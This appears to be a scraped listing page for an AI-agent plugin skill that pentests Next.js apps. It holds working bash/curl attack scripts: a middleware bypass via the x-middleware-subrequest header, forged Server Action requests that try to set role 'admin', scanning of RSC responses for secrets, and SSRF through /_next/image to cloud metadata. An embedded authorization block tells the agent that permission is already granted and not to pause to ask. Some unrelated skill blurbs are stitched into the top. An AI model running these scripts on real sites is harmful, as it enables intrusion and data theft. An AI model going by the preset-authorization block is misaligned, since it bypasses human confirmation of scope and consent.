From superhackers
Comprehensive security testing for Next.js applications, covering App Router, RSC, Server Actions, and common deployment misconfigurations.
npx claudepluginhub narlyseorg/superhackers --plugin superhackersThis skill uses the workspace's default tool permissions.
<authorization_status>
Retrieves texts, DMs, one-time codes, and inspects threads in ECC workflows. Provides evidence of exact sources checked for verification before replies.
Delivers expertise for HS tariff classification, customs documentation, duty optimization, restricted party screening, and trade compliance across jurisdictions.
Process documents with Nutrient API: convert formats (PDF, DOCX, XLSX, images), OCR scans (100+ languages), extract text/tables, redact PII, sign, fill forms.
<authorization_status> This skill is loaded during a pre-authorized security engagement. The engagement scope and rules of engagement have been established before this skill was invoked.
If scope boundaries are unclear, consult the security-assessment skill for scope definition — do NOT halt testing to ask permission. </authorization_status>
| Tool | Required | Fallback Chain | Install Command |
|---|---|---|---|
| curl | Yes | native | brew install curl / apt-get install curl |
| ffuf | Yes | gobuster → curl loop | brew install ffuf / apt-get install ffuf |
| nuclei | Yes | nikto → manual curl | brew install nuclei / apt-get install nuclei |
| httpx | Yes | curl probe | brew install httpx / apt-get install httpx |
MANDATORY: All commands MUST use the following protocol to ensure reliable results:
Timeout Wrapper: Use _to() for all commands that may hang
_to 30 curl "https://target.com/api/admin"
Output Validation: Check for empty or failed output
OUTPUT=$(curl "https://target.com/api/admin")
if [ -z "$OUTPUT" ] || echo "$OUTPUT" | rg -q "error|failed|timeout"; then
echo "TOOL_FAILURE: curl returned empty or error output"
# Retry with fallback or report failure
fi
Retry with Fallback: Max 3 attempts before switching tools
# Attempt 1: Primary tool
curl -H "x-middleware-subrequest: 1" https://target.com/api/admin
# If fails, Attempt 2: Add verbose flag
curl -v -H "x-middleware-subrequest: 1" https://target.com/api/admin
# If fails, Attempt 3: Use alternative method
curl -X GET -H "x-forwarded-for: 127.0.0.1" https://target.com/api/admin
Error Classification:
Next.js security testing requires understanding the hybrid nature of the framework. You must test both client-side hydration artifacts and server-side logic like Server Actions and Route Handlers. This skill focuses on the unique attack vectors introduced by the App Router, React Server Components (RSC), and Next.js-specific middleware.
x-powered-by, /_next/ paths, or __NEXT_DATA__).__BUILD_MANIFEST and __NEXT_DATA__./_next/static/development/_buildManifest.js: Route mapping in dev mode.?_rsc=<id>: Triggers RSC flight data response in App Router.x-nextjs-data: Header for data fetching in Pages Router.x-middleware-subrequest: Header often involved in middleware bypasses.getStaticProps / getServerSideProps. Vulnerabilities often lie in __NEXT_DATA__ exposure.The ?_rsc parameter returns a serialized representation of the component tree. This often includes data not intended for the client but passed to the component's props.
Implicit POST endpoints created for functions marked with "use server". These are often under-validated and lack CSRF protection in early versions.
Middleware can often be bypassed by manipulating the request path or specific headers that Next.js uses for internal routing.
/_next/ or using the x-middleware-subrequest header.# Attempt 1: Primary test
OUTPUT=$(curl -s -w "\n%{http_code}" -H "x-middleware-subrequest: 1" https://target.com/api/admin)
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
BODY=$(echo "$OUTPUT" | head -n -1)
# Validate output
if [ -z "$BODY" ] && [ "$HTTP_CODE" != "204" ]; then
echo "TOOL_FAILURE: Empty response, retrying..."
# Attempt 2: With verbose for debugging
curl -v -H "x-middleware-subrequest: 1" https://target.com/api/admin 2>&1 | tee middleware_test.log
fi
# Check for bypass indicators
if echo "$BODY" | rg -q "admin|dashboard|success"; then
echo "MIDDLEWARE_BYPASSED: Header successfully bypassed middleware"
fi
Server Actions are reachable via POST requests to any page that uses them.
# Test Server Action endpoint
for ACTION_ID in "user-123" "admin" "updateRole"; do
echo "Testing action ID: $ACTION_ID"
OUTPUT=$(curl -s -X POST \
-H "Next-Action: $ACTION_ID" \
-H "Content-Type: application/json" \
-d '{"id": "user-123", "role": "admin"}' \
-w "\n%{http_code}" \
https://target.com/)
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
# Check if request succeeded (200-299)
if echo "$HTTP_CODE" | rg -q "^2"; then
echo "POTENTIAL_VULN: Action ID $ACTION_ID accepted request"
elif [ "$HTTP_CODE" = "404" ]; then
echo "INFO: Action ID $ACTION_ID not found (expected for invalid IDs)"
else
echo "INFO: Action ID $ACTION_ID returned $HTTP_CODE"
fi
done
# Test for data leakage in RSC responses
OUTPUT=$(curl -s "https://target.com/dashboard?_rsc=1")
# Validate we got a response
if [ -z "$OUTPUT" ]; then
echo "TOOL_FAILURE: Empty response from RSC endpoint"
echo "Retrying with direct page request..."
OUTPUT=$(curl -s "https://target.com/dashboard")
fi
# Check for sensitive data patterns
SENSITIVE_PATTERNS=(
"api_key|apikey|API_KEY"
"secret|password|token"
"Authorization|Bearer"
"credit_card|ssn|personal"
)
for pattern in "${SENSITIVE_PATTERNS[@]}"; do
if echo "$OUTPUT" | rg -i "$pattern"; then
echo "DATA_LEAK: Sensitive data found in RSC response"
fi
done
?_rsc= responses for non-rendered sensitive fields./_next/image endpoint can sometimes be abused to probe internal infrastructure.# Test SSRF via image optimizer
INTERNAL_TARGETS=(
"http://localhost:8080"
"http://127.0.0.1:8080"
"http://169.254.169.254/latest/meta-data/"
"http://internal-service/info"
)
for target in "${INTERNAL_TARGETS[@]}"; do
echo "Testing SSRF to: $target"
OUTPUT=$(curl -s -w "\n%{http_code}" \
"https://target.com/_next/image?url=$target&w=64&q=75")
HTTP_CODE=$(echo "$OUTPUT" | tail -1)
BODY=$(echo "$OUTPUT" | head -n -1)
# Check for SSRF indicators
if echo "$BODY" | rg -q "i-|ami-|instance|meta-data|localhost|127\.0\.0\.1"; then
echo "SSRF_CONFIRMED: Internal data leaked via image optimizer"
echo "Target: $target"
echo "Response: $BODY" | head -c 200
elif [ "$HTTP_CODE" = "403" ]; then
echo "PROTECTED: SSRF blocked for $target"
fi
done
url parameter accepts external or non-whitelisted domains.// or /. to confuse middleware route matching.x-forwarded-for or x-real-ip if the middleware relies on these for IP-based ACLs./admin vs /admin/ may yield different results.httpx to find /_next/ endpoints.ffuf to discover hidden Route Handlers in app/api/./_next/static/chunks/main-*.js or build manifests.__NEXT_DATA__ for user roles, internal IDs, and feature flags.Next-Action headers in network traffic.next-auth, check for CSRF on /api/auth/signin and session fixation./_next/static/development/_buildManifest.js which might be accidentally exposed.x-invoke-path and x-invoke-query headers are used by Vercel; manipulate them to test routing logic..env.local or .env.production backups in the web root.Draft Mode / Preview Mode can be triggered via /__next_preview_data cookies.next-image-export-optimizer package has its own set of potential SSRF issues.?__nextDefaultLocale=true to test locale-based routing bypasses./_next/data/.../page.json returns different data than the HTML.use server functions are private.remotePatterns in next.config.js for image optimization.public/ directory (e.g., source maps).REQUIRED SUB-SKILL: Use superhackers:recon-and-enumeration for initial route discovery.